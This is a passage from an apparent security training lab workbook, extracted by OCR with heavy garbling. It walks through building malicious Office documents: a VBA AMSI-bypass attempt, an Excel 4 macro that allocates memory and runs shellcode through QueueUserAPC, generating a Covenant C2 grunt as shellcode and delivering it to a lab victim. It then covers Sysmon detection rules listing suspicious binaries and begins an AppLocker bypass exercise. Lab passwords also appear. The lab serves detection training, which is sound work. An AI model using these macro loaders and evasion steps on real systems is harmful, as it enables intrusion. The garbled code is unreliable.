g GruntHTTP-word-vba-amsi-
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£ Microsoft Visual Basic for Applications
~ File Edit View [nset Format Debug Run Jools Add-ins Window Help
.@ gu .,,ﬁ.ﬁuq iy Wom gmag ¥ @ LnaT Col2

| (Genera) | |pumpFile
WziceBytes
Wzice3ytes
Wzite3ytes
WziceBytes
WriteByces obiFile,
WriceByces obiFile,
WriceBytes obiFile,
WriceByces obiFile,
WriceByces obiFile,
WrziteBytes obiFile,
WriteBytes obiFile,
WriceByces obiFile,
WriceByces obiFile,
WriceBytes obiFile,
WriceByces obiFile,
WriteByces objiFile,
WrziteBytes obiFile,
WriteBytes obiFile,
Sub

DumpFile (sczFilename)
oim obiFS0
Dim obiFile

S=z obiFS0 = Createlb:
S5er obiFile = obiF50:i
DumpFilel obiFile
DumpFileZ obiFile
DumpFile3 obiFile
DumpFiled4 obiFile
obiFile.Close

E;J'uc[ Sub

r

== <l

F_arF_a-:ﬂ mpﬂrnaﬂ —nAFarEAst

Now save the document as a .docm file with name maldoc-3-amsi-bypass in the maldocs
folder:
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L aboutblank

Decument] - Ward

Good morning

Blank document Welcome to Word Single spaced (blank) Biue grey resume Snapshot calendsr Insert your first table of cont..

v New

L search

Recent  Pinned Shared with Me

Yous haven't openad any documents recently. Click Open to browse for a document.

Account
Feedback
Options
it looks ike you haven't started Firefox in @ while, Do you want to clzan it up for a fresh, like-new experience? And by the w - back! Refresh Firefor.,, | X

= 27
@ ciHus-outt.. = Adminictrate.. B Fal ] B cuvencu. [l Csesstu.. P ThsPOGon.. [l ClUsersistu.. L 632010 WY Document] - rosoft Vis.. 3 9 Q) ;?(ﬁ :ZM:ZA‘

Document] - Ward signin @ &

Save As

— T [ Deskiop >maldocs
(&) Recent
\55 maldoc-3-amsi-bypass|

Word Macro-Enshled Document {*.docm)
Onebrive M

This PC [T New Folder

Add a Place Name | Date modified

Browse l:j _ riyeache
|| EvilChippy-master

Transfarm || hot-manchego-master

Close

Step 3: Execution of the maldoc

Next, we will copy this document over to the victim workstation (192.168.20.105) simulating a
delivery by email, open it, and observe its interaction with the Covenant C2.

We deposit the file on the victim’s Windows desktop:
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B 192,762.20.109 - Rem|e Desktop Connection

Recycle Bin

.

Microsoft
Edge

Avast Free
Antivirus

&

Microsoft maldoc-1... maldos-1-.. maldoc-3-a
Teams msi-bypass.d
QYT

We open the spreadsheet and click on "Enable Content". We get an error:

mbleos-3-mnsh-bypesadocm - Sived o this BC -

ferefnces hailings Review Wiew Help

AT Ra~ fp ==~ Z=E 2l T || aasbcenc] Assbcene AaBbCt Assbcr AQDB assncer asanc

i~ £« A == =— =~ | Q<= Themmal | TMeSpac. Hesding ] Heading 2 Title Subtitte  Subitle £
I= Paragraph Bl Siyles

Microsoft Visual Basic for &pplications: X

9 Command failed

Hetp
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This error happens when the statement that saves the document as a template into the
templates folder is executed. This is no longer allowed by Microsoft Office, to thwart AMSI
bypasses.

Objective 4: Executing and detecting a Covenant Grunt - Excel 4 macros

In this last objective, we use Excel 4 macros and shellcode to create a maldoc.

Excel 4 macros were introduced with the release of Excel 4 in 1992. This is a scripting
technology for Excel only (not Word), that predates VBA (VBA was introduced with Excel 5 in
1993). It is a scripting technology that is still supported in the latest version of Microsoft Office.

Excel 4 macros consists of formulas in cells, contained in a special macro sheet. Here is an
example of Excel 4 macro formulas that use the Win32 API to execute 64-bit shellcode:
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A

|=SET.VALUE(BL;0)

| =SET.VALUE(B2;HEX2DEC("50000000"))
|=REGISTER("Kernel32";"VirtualAlloc";"J1J1)";"VirtualAlloc";; 1;3)
|=WHILE(B1=0)

| =SET.VALUE(BL;VirtualAlloc(B2;65536;12288;64) )
|=SET.VALUE(B2;B2+HEX2DEC("40000"))

|=NEXT()
_=REGISTER|{"l(ernel32";"RtICnpw.ﬂemDw";"JJCJ";"RTL";;l;EI}
|=REGISTER("Kernel32";"QueueUserAPC";"JJ1J";"Queue";;1;9)
_=REGISTER|{“ntdll";"NtTEEt.ﬁ.Iert";"J";"GD";;l;ﬂ}

| =SELECT({C30:C10000;C30)

|=SET.VALUE(B2;0)

| =WHILE(AND{ACTIVE.CELL()<>"";MID{ACTIVE.CELL{);1;2)<>"XX"})
|=SET.VALUE(B3;1)

| =WHILE(MID(ACTIVE.CELL();B3;2)<="")

| =IF(MID{ACTIVE.CELL();B3;2)="00";GOTO(A18))
|=RTL(B1+B2;CHAR(HEX2DEC{MID{ACTIVE.CELL();B3;2)));1)
=SET.VALUE(B3;B3+2)

=SET.VALUE(B2;B2+1)

|=NEXT()

| =SELECT(;"R[1]C")

|=NEXT()

|=Queue(B1;-2;0)

|=Gof)

|=HALT()

LY== TN = R B IR S R

] R N R = = = e
s hREBNRBSERSEDLRELRRSE

s
=]

(o]
[=5]

[
Lo

L
=]

9%}
=

L
[

(48]
L

L
=

[4%]
Ln

L
=]

(4%
L |

Macrol | Sheetl | )

When Excel 4 macros started to be used by attackers a couple of years ago, detection by
antivirus programs was very low. And at the time of writing, Excel 4 macros are not scanned
with AMSI.

This makes it another maldoc technique that is harder to detect than standard VBA maldocs.
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To illustrate another type of payload, shellcode, we will use a Excel 4 macro code like above to
execute shellcode.

Step 1: Creating the Covenant grunt

Since we want to use shellcode, we have to create a new grunt (for the same listener that we
created in objective 1). Go to the Covenant console, and go to Launchers:

Covenant

192168200107 74434 e Q Recommiendation -+ & 1Y

A= OVaNANT
Diachkl 3
: Launchers
47 R Name Description

_ InstallLtil Uses installutilexe to start a Grunt via Uninstall method.
hMSBuild Uses mshuild.exe to launch a Grunt using-an in-line task
Powershell Uses powershell.exe to launch a Grunt using [System ReflectionAssemblylilead(
ShellCade Converts a Grunt to ShellCode using Donut,

This time, select Shellcode:
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192.168.20,107 /4451 e e Q Recommendation *+ & o

ShellCode Launcher

Launchers
4. taunche 4> Generate (53 Hest <> Code

Description

Cenverts a Grunt to ShellCode using Donut.

Listener ImplantTemplate DotMetVersion

e405d5e93b Y GruntHTTP Y NEtdO"
VzlidateCert UseCertPinning

True - True ~
Delay JitterPercant ConnectAttampts

5 = 10 1= 5000 =
KillBate

02/12/2021 10:32 AM

Launcher

(o

— w

Before you push the Generate button, make sure that you verify that your listener is selected,
that you choose .NET version 4.0 (DotNetVersion: Net40), and that the kill date lies at least a
couple of days later than today.

Then you can click the Generate button. The name GruntHTTP.bin will appear shortly after you
pressed the button:
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Covenant

i G @ 0, 5/1192.168.20. 1077443 launcher/trasteld Q Recommendation

EOVENANT
ShellCode Launcher

&, Lainchers 47 Generate (5 Host <> G

Description

Converts a Grunt to ShellCode using Donut.

Listener ImplantTemplate DotMetVersion
e405d5e93b GruntHTTP Netdo ~
ValidateCert UseCertPinning
True ~ True e
Delay JitterPercent ConnectAttempts
5 15 10 = 5000 o
KillDate

02/12/2021 10:32 AM

Launcher

GruntHTTP.bin 0 ‘

Save GruntHTTP.bin into the maldocs folder.
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192:168.20.107 EELE Q Recommendation

o-OVENANT

ShellCode Launcher

4 Launichers 47 Generate (35 Host <> Code
Description
Converts a Grunt to ShellCode using Benut.
Listener ImplantTemplate DotNetVersion
e405d593b i Gy =SS
Dpening GruntHTTP.hin x
ValidateCert Wsele You have chosen to.opem
| | GruntHTTPhin
True ~ Ty e
whichis: Binary File (42.1 KB)
fromy: data:
Delay JitterP
5 2, 10 What should Firefox do with this file?
() Openwith | Browse...
KillDate ®Szve File

02/12/2021 10:32 AM

& Dovrlsd |
tauncher
GruntHTTR.bin | ‘

|5}

Remark that we did not have to choose between 32-bit and 64-bit shellcode: The generated
shellcode is the same for both architectures.

Step 2: Creation of the maldoc

To create a spreadsheet with Excel 4 macros to execute shellcode, we use the free tool
excel4macros-shellcode-direct.py. This tool takes shellcode as input, and produces a .xIsm file
as output. You need to specify 32-bit or 64-bit, because the required Excel 4 macros are
different for 32-bit and 64-bit code.

Since our CommandVM and victim workstation both have Microsoft Office 64-bit installed
(Office 32-bit installed on 64-bit machines is also very common), we need to issue a command
to generate Excel 4 macros for 64-bit shellcode.

The produced spreadsheet contains shellcode embedded as hexadecimal strings, and the Excel
4 macros read and decode the hexadecimal strings, write them into Excel's memory, and then
execute the shellcode. This means that the execution of shellcode does not involve the creation
of an executable file on disk, nor the creation of a child process. This makes detection of such
maldocs harder.
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Issue the following command in the command-line of your CommandoVM:

exceldmacros-shellcode-direct.py 64 GruntHTTP.bin maldoc-4-shellcode.xlsm

B¥ Administrator: CAWINDOWS\system32\emd.exe — O X

Step 3: Execution of the maldoc

Next, we will copy this document over to the victim workstation (192.168.20.105) simulating a
delivery by email, open it, and observe its interaction with the Covenant C2.

We deposit the file on the victim’s Windows desktop:

& 192.168.20.105 - Remote Desktop Connection

hicrosoft
Edge

Ayast Free
Antwirus

3 1 S N A

Wicrosoft maldac-1.... maldet-1-... maldoc-3-z. maldacd-.,,
Teams msi- bypass:
acm
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We open the spreadsheet and click on "Enable Content", and take a look at our Covenant
dashboard:

192.168.20.107 743 hame Q Remmmendation

(@ Dashboard

Dashboard

Grunts

Name Hostname User Integrity LastCheckin Status MNote Template
Sacardeidd winld student_ladm High 01/20/2021 17.07:45 Active GruntHTTP
. Page 1 of 1 ‘ mﬁ;]

Listeners

Name ListenerType Status StartTime ConnectAddresses ConnectPort
ad HTTP Active 01/20/2021 13;37:44 19216620107 &0

A Nt m“—]

We can issue a screenshot command:
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Cavenant

192.166:20,107 744 erant Q Recommendation

-'[EOVENANT

> Grurts

Remark that there is no black console window this time: That's because there is no child
process.

Maybe you have noticed that Excel is no longer responsive: The "spinning circle" cursor
indicates that the application is no longer responding. That is not because Excel has crashed,
but because the Covenant shellcode does not return control to Excel: It is executing with a
single thread, and as long as the Covenant shellcode is executing, Excel is not responding.

Excel only becomes responsive again when we terminate the grunt:
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Cavenant

s ¢ @ D £ nivos/192.168:20,107:7443 /g1 erait Q Recommendation

ﬁovannm

Grunt: 5acac962d4

@ Infe >_ Interact ) Task £ Taskings

Grunts

{stodent) > sxit

xited

Step 4: Detection

Since no file was written to disk, and no child process was created, we can not use these events

from Sysmon to detect the execution of this maldoc.

What remains to detect is the C2 network connection. However, this too remains undetected:
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(& Event Viewer s o x
File Action View Help
a9z ?I H =
| sMBDirect ~
SMBEServer
| SMBWitnessClient 7 Filtered: Log: Microsoft-Windows-Sysmon/@perational: Source ; Evant ID: 3. Number of events: 51 : =
1 stateRepository Level Date and Time Source EventiD Task Category A] [ OpenSevedlag..
Storage-Tiering g ¥ Creste Custom View.
StorageM: it :
; s:umg SE;‘,“‘JS"E" (@) Information 142072021 31427 PM. Sysmon 3 Netwark connection detected {rule: Ne.. Import Custam View...
rageSettings
e e e )Informaticn 172042021 3:08:00 PM Sysmon 3 Metwork cannection detected (rule: Ne., Fonrll
S Mmgrsise v () Informati 1/20/2021 3:02:00 PM 3 Network ion detected {rule: N o
= ' Information 2 G2 on etwork connection detected (rule: Ne...
~| StorageSpaces-Managemer ; Sy ; T Fiter Current Log..
3 SorageSpacesiSpaceblanas Jinfarmation 1/20/2021 3:04:06 PM Sysmon 3 Network connection detected (nile: Ne.,
StorDiag E Infarmation 1/20/2021 30403 PM Sysmon 3 Metwork connection detected (rule: Ne.. Clear Filter
] store (i) Infarmation 1/20/2021 3:04:02 PM Sysmon 3 Network connection detected (rule: Ne... I Properties
StorPart 1) Infarmation 1/20/2021 3:03:40 PM Sysmon 3 Metwork connection detected (rule: Ne.. Bisable Log
“ Storsve ) nfarmation 1/20/2021 3:03:34 PM Sysmon 3 Network connection detected (rule: Ne... W
| Sysman (i) Information 1/20/20213:01:43 PM Sysmon 3 Network connection detected (rule: Ne.. £ Tind..
=] Operstional Jnfarmation 1/20/2021 301:43 PM Sysmen 3 Netwark cannection detected (rule: Ne.., bl Save Filtered Log File As..
SystemSettingsThreshold (D) Infarmation 1/20/2021 2:55:43 PM Sysmon 3 Network connection detected (rule: Ne.. v Attach 2 Task To this Log...
» 1 TeskScheduler
[ e Event 3, Sy=mon x | T SaveFilter to Custom View..
;‘\Tmnina\sw:ﬁcirenmcﬁ = e View >
= TerminalServices-Clientlsa . [ Refresh
= i r L 15
= Network connection detected: a
» [l TerminziServices-PrPDevies RuleName: Usermode Help »
TermtinalServices-Printers UtcTime: 2021-01-20 15:57:43.782 o ‘Event3, Sysmon !
TerminzlServices-RemoteCe ProcessGuid: [2F5118de-52f7-5008-5305-000000001000} i i
Z| TerminalServices-ServerUISB Processid: 3956 [} EventProperties
3 Image: C\L TUDEN- T\AppData\ Local\ Temp\ il
Time-Service P ] Attach Task To This Event...
o User: sec698-20\student_lad) =
1 Time-Service-PTP-Provider Rehitte tp e e Cony o
= Troubleshosting-Recomme (it ot triie F
) 12 TZSyme Sourcelslpf false [l Seve Selected Events..
s [ Tzul Sourcelp: 19216820105 B Refresh
3 AC SourceHostname: win0.52c699-20) Isb v u
= [ Help »
=
= 3"“;?":““"“‘“" Log Name: Micraseft-Windows-Sysmen/Operatianal
1 UlSeard
(5] UnivessaTelemetryClient Source: Sysmon Logged: 1/20/2021 3:5%:45 PM
] User Contral Panel Event D 3 Task Category:  Network connection detected {rule: MetworkConnect)
| User Device Registration Level: Infarmation Keywords
» Il User Profile Service User: SYSTEM Computert  winD5ec698-20.ak
5 ._J“ User-toader OpCads: Infa
= 3;5:;DT More Information:  Everit Log Grlitie Help
" VerfuHardwareSecurit N
< >

What we see
our previous

here (Sysmon event log filtered for event 3), are the network connections from
tests. Not from this maldoc.

The reason that the network connection remains undetected lies in our Sysmon configuration:

<Imsgs
<Image
<Imags
<Image
<Image

roup name="" gfoupl
tworkConn
{—Buspicio

ation="or'>

ect chmatech="inelude">

etWwork—connecting binaries——
name="Userncde" c "begin with">C:\Users</Imzys>
pame="Caption" condition="begin with">C:\Rectycle</Imags>
condition="begin with">C:\ProgramData</Imags> <'—Hormmsl
condition="begin with"}C:\Windlws\Tanpff-ImagE} <1
neme="Cantion" conditi ="beg n with" ;\(!mage

us sources for

St

er.com/SwiTrinSe

i

<l—Juspicious Windows

< Ima.g =
<Image

<Image

npame="Caution"

name=TCantion”

name="Caution"
pame="Cantion"

or="image">at.exe</Image> <! -——Windows: Bemote
cn="image">certutil.exe</Image> <!——Windows:
="image" >omd.exe</Image> <! indows: Remote
"image' remstp . exe</Insgs> dews: Connec
BsubhTese —>

"image">esceript.exXes/Image> <! —WindowsScr
"image" ~driverguery.exe</Imsge> <!
condition="image" >degoery.exe</Image> <!'—Micr

condl tioe—"image " >hl. exe</Image> —Windows:
="1:u1.uge ">infDefanltInstall.exe</Image> <'!'-—-Micr
'image" >Jjava.exe</Inage> <!—Jave: Mcenitor o
"image' >javaw.exe</Imsgs> <
"image">javaws.exe</Image> <!—Jzva: Mo
conditicon="image" >mmc. exXe</Imsgs> —Windows: —>
conditt timage msboild. exes/Image> <! —Windows:
condition="image" >mshta. exed/Image> <! —WHindow3:

condition—"image " *msiexec. exes/Image>
="image">obtstat.exe</Image>
="image">net.exe</Image>
Timage'">netl.exe</Imags
image" >notepad. exe</Tmage> <

—dava: MHonit

indows:
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There are no rules that Include network activity from the Excel process, and that's why we see
no connections. Remember that we are using Covenant shellcode, and that this shellcode is
running inside the Excel process. This means that network connections established by the
shellcode are opened by the Excel process.

We can add the Excel process to our Sysmon rules like this:

'>C:\Ueers</Image>
begin with"»C:\Recyole</
C:\ProgramData</ Imags> 1—

Usermoda"

Caotion”

Caution QgE~/ lImAal
begin with">C:\intel</Image> '— Cr=da
m="begin with">C:\Windows\fonts</Image>

n="pegin with"»C:\Windows'\system32\config«</Im=a

Caution" c

="Cantion”

Caotian” co

Loels—

“rat.exes/Images> <! —F
ga">oertutil.exes/ Image>
"vomd.exed/ Image =

n

"soscript.exes/Image>
x|

el drivergquery.exe</Im
">dsgunery.exa</Image>
=ﬂ:cﬂl.exdszmaga:
>hh.exe</Image> <!—Wi
">infhefanltInstall .exe</T

n>java.exs/ Ik

>javaw.exed/ Image>
~JEVAWS . exes/ Imagen
PTG . exe- / Imaq

cImage mage" >msiexen. exes/ Izaged
cimag imagae">nbtstat.exe</Im
cImage mage"  net.exs</ Irage>
<Imags image" >netl.exed/

CImage

i tion="image">notepad. exe< /Image>

And then, with an administrative console on the victim VM, load the new configuration:

B Administrator; Command Prompt — [ -8

This will result in detection of the network connection:
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3] Event Viewer
File Action View Help
2| 25 HE
| SMBDirect ~ perational  Number of events 21,000
| ShBServer
= SWWHnEssC\iEn{ ¥ Filtered: Log: Microsaft-Windows-Sysmon/Operational; Source! ; Event [D: 3. Numiber of events: 74
_Ql StateRepositary Level Date and Time Source EventID Task Category G
= ;:”'39::—'5”"9 ’ (@) Information 1/20/2021 55253 PM Sysman 3 Network connection detected (rule: Ne...
s 5:59“5.‘::’9“2" (i) Information 1/20/2021 5:52:43 PM Sysmen 3 Network conmection detected [fule Ne..
» 1 StorageSetting - _ E
- 9 o l:l‘:ilrrfurmntion 172072021 5:52:42 PM Sysmion 3 Network connection detected (rule: Ne..
| StorageSpaces-Driver —
[ s f:f’lnfﬂrmatmn 1/20/2027 52:36 PM Sy=man 3 Metwerk connection detected (rule Ne..
| StorsgeSpaces-Managemer =
o StormgiSpaces-SpiceMana: E:_I‘?.‘Infermatmn 1/20/2021 :32:36 PM Sysmon 3 Metwaork connection detected (rule: Me..
| StarDiag ™ f:i:,llnforrhaiian 172072021 5:52:35 PM Syemon 3 Metwork connection detected (rule Ne,,.
. 1] Stere (1) Infermation 1/20/2021 5:52,34 PM Sysman 3 Network connection detected (rule: Ne,
» 7 StorPort 1 information 021 25233 PM 3 Metwork connection detected {rule: Ne
» T Somve tDInfomafion /2072021 5:52:33PM 3 Metwork connettion detected (rule: Ne...
w ] Syzman G_‘}Iﬂfnrmatiun 1/20/2021 5:52:32 PM Sysmon 3 Metwork connection detected {rule Ne...
| Operational fl\ilrrfurmotion 1/20/2021 5:52:32 PM Sysmon 3 MNetwork connection detected (rule: Ne... )
g SystemSettingsThreshold
1 TaskScheduler Event 3. Sysmon ad
; Tple Genersl  Petails
1| TerminalServices-ClintActt
7 TerminalServices-ClientUSB
_ % 1 ke ecti etected:
= TerminalServices-LocalSessi smmng oy detees
! TerminalServices-PnPDevict UtcTime: 2021:01-20 17:52:32.222
| TerminalServices-Printers ProcessGuid: [2f5f 18de-Gddd-5008-4F06-000000001000}
| TerminalServices-RemoteCt 'rmﬁa‘fl‘* 7400 v i
9 TerminaBevicesS UsE mage: ChProgram Files\Microsoft Officel\root Office 1 B\EXCEL EXE
= rem-unﬁ EY User: sech@3-20\student ladm
= ime-Service Pratocal tep
_-. Time-Service-FTR-Provider |nitiated: true
| Traubleshooting-Recamme Sourcelslpvt: false
9 TiSync Sourcelp: 192.168.20.105
3 TZUk SourceHostname: win10.5ecf93-20.1ab
= UAC SourcePort: 51454
f SourcePortMame: -
| UAC-FileVirtualization Destinationlslpvé: fale
| Ul-Search Diestinationlp: 192.168.20.107 )
T UniversalTelemetryClient DestinationHostnama: ip- 192-168-20- 107, eu-west- 1, compute internal
= DestinationPortz 80
| User Contrel Panel 2
s DestinationPorthlame:
| User Davice Registration RO = b
T User Profile Service
1 User-Loader Log Name: _Mimjsuk—Winduw;—SysmunIQperaﬁnnal
M| UzerPnp Source: Sysmon Logged: 1/20/2021 5:52:33 PM
— VBRVROGT Event ID: 3 Task Categony: Network connection detected (rule: MetworkConnect)
=l VerifyHardwareSecurity (pones oo K
= VHDM E =
- . User SYSTEM Lomputer winfisect88-20.lab
Velume .
T VolumeShapshat-Driver QpCode: It
1 Vpn Plugin Platform Moré Information;  Event Log Online Help
| VPN-Client "
< 2

However, enabling this detection for Excel results in many events that are not malicious in
nature. AlImost all network connection events, seen in the screenshot above, originate from
Excel for legitimate purposes.

Conclusions

During this lab, we covered different techniques related to VBA payload delivery:

e Leveraging VBA purging and stomping to hide our malicious payload
e Bypassing AMSI from VBA

e Excel 4 Macros

e Detection strategies

After the lab, please stop your target environment. In order to do so, please use the following
command:

cd /home/student/Desktop/lab-manager
./manage.sh destroy_target -t [version_tag] -r [region]
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Exercise 2: Enabling and Bypassing AppLocker

In this lab, we will introduce how AppLocker works and review some bypass strategies. We'll
also look at opportunities for detection!

AppLocker

AppLocker helps you control which apps and files users can run. These include executable
files, scripts, Windows Installer files, dynamic-link libraries (DLLs), packaged apps, and
packaged app installers.

Source: docs.microsoft.com

We will complete the following objectives throughout the lab:

e Enable AppLocker through a GPO

e Bypass AppLocker using T1118 - InstallUtil

e Bypass AppLocker using T1121 - Regsvcs / RegAsm
e Bypass AppLocker using T1170 - Mshta

e Detecting all of the above bypasses

Lab Setup and Preparation
Please start your target lab environment using the following commands on the student VM:

cd /home/student/Desktop/lab-manager
./manage.sh deploy -r [region] -t [version_tag]

Once the environment is deployed, please start the lab from the CommandoVM.

Objective 1: Enable AppLocker with Default Rules

As a first step, we will enable AppLocker as a group policy on the domain controller! This will be
used as a basis to illustrate and deliver bypasses! Please open an RDP session to the domain
controller (192.168.20.101, username student_dadm, password Sec699!! ) and execute the
below steps.

Step 1: Creating an Organizational Unit (OU)

To selectively enable AppLocker for specific hosts, we need to group the desired computers in

an organizational unit. From the Server Manager , openthe Tools tab and click the Active
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Directory Users and Computers entry as outlined below. If you're not used to a Windows
Server display, the Server Manager can be found as a tile after clicking the START button!

> @) | }' Manage  Tools

Active Directory Administrative Center
Active Directory Domains and Trusts

Active Directory Module for Windows PowerShell
Active Directory Sites and Services

Active Directory Users and Computers.

Performing the previous action presents us the Active Directory Users and Computers
console. From there, right-click the sec699-x.1ab domain and choose New, Organizational

Unit.

Computer
Computer
Computer
Computer
Computer

Delegate Control..

Find...

Change Domain..

Change Domain Controller...
Raise domain functional level...

Operations Masters...

L,@ - "i Computer
ATk > Comaat
Refresh ey

InetOrgPerson
Properties msDS-ShadowPrincipalContainer
Help msimaging-PSPs

MSMQ Queue Alias

Printer

User

Shared Folder
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From the opening New Object - Organizational Unit window, name the new OU. We'll use
Restricted Computers.Once done, press the ok button.

Name:
Restricted Computers

Step 2: Move the Target Workstation in the OU

With the new Organizational Unit created, we need to move the computers subject to
AppLocker in the Restricted Computers OU. As we want to enable it on WIN10, please drag-
and-drop the wINie entry from the Computers OU to the Restriced Computers OU. You will
need to confirm with yves that you actually want to move the object.
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= WIN10-01 Computer

(=] Restricted Computers

You can double-check if the operation completed successfully by ensuring the Restricted
Ccomputers OU contains the subject computers (WIN10O ).

B WINTD Computer

|=| Restricted Computers
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Step 3: Create a Group Policy Object

Now our subject computers can be identified by the Restricted Computers OU; we need to
apply a new Group Policy Object (GPO)to enable AppLocker. Managing GPOs is done
through the Server Manager - Group Policy Management entry of the Tools menu. Go ahead
and click the entry to open the window.

Active Directory Administrative Center
Active Directory Domains and Trusts
Active Directory Module for Windows PowerShell
Active Directory Sites and Services

Active Directory Users and Computers

ADS! Edit

Component Services

Computer Management
Defragment and Optimize Drives
Disk Cleanup

DNS

Event Viewer

Group Policy

From the opened Group Policy Management console, drill down the forest past Domains to
open the sec699-x.1lab domain. In this menu, you'll be able to locate your newly created OU
(Restricted Computers). GPOs are not object-specific and can be linked to multiple objects.
However, for ease of use, a Create GPO in this domain, and Link it here.. entryis
available once you right-click a subject OU. Go ahead and click this entry once you right-clicked
our newly created OU.
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» = Restricted Ct

Create @ GPO in this domain, and Link it here...

The GPO creation window (titled New GPO ) provides you with the ability to name your GPO.
We'll use Enable AppLocker to be explicit. Once done, press the ok button.

Mew GPO

Mame:
| Enable &ppLocked

Source Starter GPOD:

[none}

Step 4: Enable Application Identity Service
With the newly created GPO linked to our OU, we can proceed to enable AppLocker. To do so,

click the Edit.. entry under the right-click menu of our new Enable AppLocker GPO. As the
GPO is linked to the Restricted Computers OU, you will find the GPO in it.
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v 4\ Forest secB99-20iab
w 3 Domains

~ 2 Restricted Computers
=/ EnableApply
R —

Enfarced
|~ LinkEnabled

The Group Policy Management Editor gives you the ability to modify the GPO. Enabling
AppLocker has the Application Identity service as arequirement. To enable the service,
drill-down the Computer Configuration in the following order:

Policies
Windows Settings
Security Settings

AN =

System Services

Inthe System Services group, you will find the Application Identity entry which, by
default, is Not Defined . By right-clicking the entry, you can click the Properties sub-menu to
modify the service.
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=/ Enable AppLocker [DC-01.SEC699-10.LAB] Policy
v & Computer Configuration
~ [ Policies

v ] Windows Settings

| Application Identity

v Security Settings

> A System Services

From within the Application Identity Properties you can enable the Define this policy
setting and set its service startup mode to Automatic.Once done, save the configuration by
pressing the Apply button.

[ Define this policy setting
Select service startup mode:
@ Automatic
O Manual
O Disabled

Step 5: Enable AppLocker
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Enabling AppLocker can now be done by drilling down the Computer Configuration as
follows:

Policies

Windows Settings

Security Settings
Application Control Policies

vk wnN -

AppLocker

Clicking the AppLocker entry provides us with the below view in which we can select the
Configure rule enforcement link to enable AppLocker.

1=/ Enable AppLocker [DC-01SEC699-10LAB] Policy
v & Computer Configuration
v [ Policies

v (] Windows Settings

v Security Settings

B Confiqure nile erforcement

v [ Application Control Policies
> [T Applocker

From the AppLocker Properties window, enable all rules and set the enforcement to Enforce
rules . Once done, save the changes by pressing the Apply button.

160 © 2021 NVISO and James Shewmaker

Technet24


https://technet24.ir
https://technet24.ir

Executable rules:
[4 Corfigured

Enforce rules

Windows Installer rules:
[ Configured

Enforce rules

Script rules:
M Configured

Enforce rules

Packaged app Rules:
[ Configured

Enforce rules

Step 6: Configure AppLocker's Default Rules

With AppLocker enabled, default rules must now be added for each of the scopes
(Executables, Windows Installers, Script and Packaged Apps ) which you can find one
level below the left panel's AppLocker entry.

Create Default Executable Rules

Right-clicking the Executable Rules entry shows us a Create Default Rules sub-menu. Click
it to create the default executable rules.
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& Computer Configuration
v [ Policies

v [ Windows Settings

v [ Security Settings

~ [] Application Control Policies
v [ Applocker
> [ Executable Rules
> u Windows Installe Create New Rule...
> ] script Rules Automatically Generate Rules...
> B8 Packaged app Rt
> &, IP Security Policies on Ac
> [] Advanced Audit Policy G View
> gl Policy-based QoS
> [ Administrative Templates: Policy
> [ Preferences Help
& User Configuration

Export List...

The creation of the default executable rules will populate the Executable Rules group as
shown in the next screenshot.

@i Allow  Everyone (Default Rule) All files located in the Progr...  Path
& Allow Everyone (Default Rule) Al files located in the Wind..  Path
@ Alow  BUITINAm..  (Default Rule) Al files Path

> [ Executable Rules

Create Default Windows Installer Rules

Right-clicking the windows Installer Rules entry shows us a Create Default Rules Sub-
menu. Click it to create the default Windows installer rules.
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& Computer Configuration
v [ Policies

v ] Windows Settings

v 3 Security Settings

v [ Application Control Policies
v [ AppLocker
> [ Executable Rules
> (5] Windows Installer Rules
> L5 Script Rules Create New Rule...
> 8 Packaged app Rules i
> & IP Security Policies on Active Dir
> (] Advanced Audit Policy Configur:
> gl Policy-based QoS
> [] Administrative Templates: Policy definit
> [ Preferences
4% User Configuration
> [ Policies

The creation of the default Windows installer rules will populate the Windows Installer Rules
group as shown in the next screenshot.

@ Allow  Everyone (Default Rule) All digitally signed Window.. Publisher
@ Allow  Everyone (Default Rule) All Windows Installer files i.. ~ Path
@ Allow  BUITINVAdm...  (Default Rule) All Windows Installer files ~ Path

> [ Windows Installer Rules

Create Default Script Rules

Right-clicking the Script Rules entry shows us a Create Default Rules sub-menu. Click it to
create the default script rules.
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& Computer Configuration
~ [ Policies

v ] Windows Settings

v 3 Security Settings

v [ Application Control Policies
~ (3 Applocker

> 5] Script Rules
Create New Rule...

Automatically Generate Rules...
View

Export List..

Help

The creation of the default script installer rules will populate the Script Rules group as
shown in the next screenshot.

@ Alow  Everyone (Default Rule) Al scripts located inthe Pr..  Path
@ Allow  Everyone (Default Rule) All scripts located inthe Wi.. ~ Path
@ Alow  BUITINAAm..  (Default Rule) All scripts Path

> [ Script Rules

Create Default Package Rules

Right-clicking the Packaged app Rules entry shows us a Create Default Rules sub-menu.
Click it to create the default packaged application rules.
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v [ Windows Settings

& Computer Configuration
v [ Policies

v 5 Security Settings

v [ Application Control Policies
v [3 Applocker

> [ Packaged app Rules
Create New Rule..

Generate Rules...

View
Export List...

Help.

The creation of the default packaged application rules will populate the Packaged app Rules
group with the single rule as shown below.

@ Allow  Everyone (Default Rule) All signed packaged apps

> Packaged app Rules

Step 7: Update the Group Policy

Group Policies are not immediately applied on systems in the domain. In order to force our
Windows workstation ( 192.168.20.105 ) to apply the policies, please open an RDP session to
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WIN10 (192.168.20.105, username: student_ladm, password: Sec699!! ).

Open an elevated administrator command prompt and update the group policy:

net start w32time
w32tm /resync /force
gpupdate /force

Updating policy...

Computer Policy update has completed successfully.
User Policy update has completed successfully.

Once the update is done, restart the machine to ensure the Application Identity serviceis
correctly started.

Objective 2: Bypass AppLocker Using InstallUtil.exe

Now that we have applied a default AppLocker configuration to our Windows workstation
WIN10, we will attempt to bypass it! The first technique we will use is T1118:

T1118 - InstallUtil

InstallUtil is a command-line utility that allows for installation and uninstallation of
resources by executing specific installer components specified in .NET binaries. InstallUtil
is located in the .NET directories on a Windows system:
C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe and
C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe . InstallUtil.exe is digitally
signed by Microsoft.

Adversaries may use InstallUtil to proxy execution of code through a trusted Windows
utility. InstallUtil may also be used to bypass process whitelisting through use of

attributes within the binary that execute the class decorated with the attribute
[System.ComponentModel.RunInstaller (true)] .

Source: attack.mitre.org

Leveraging this technique will be done through the creation of an executable which, although
blocked by AppLocker, can be executed through the above described bypass. We will create the
executable on the our CommandoVM machine.
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Step 1: Creating the Payload Project

Creating the executable requires us to create a new Visual Studio project.

From the CommandoVM machine, launch "Visual Studio 2019". When opening it for the first
time, you might get prompted to register. Visual Studio 2019 (Community Edition) is free, but
does require registration to use after a trial period of 30 days. You may possibly receive a
prompt indicating the license has expired. This is to be expected; you'll just need to register
using your email address:
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Please click the create one! link from the screen above and follow the Microsoft registration

steps.

168

Visual Studio

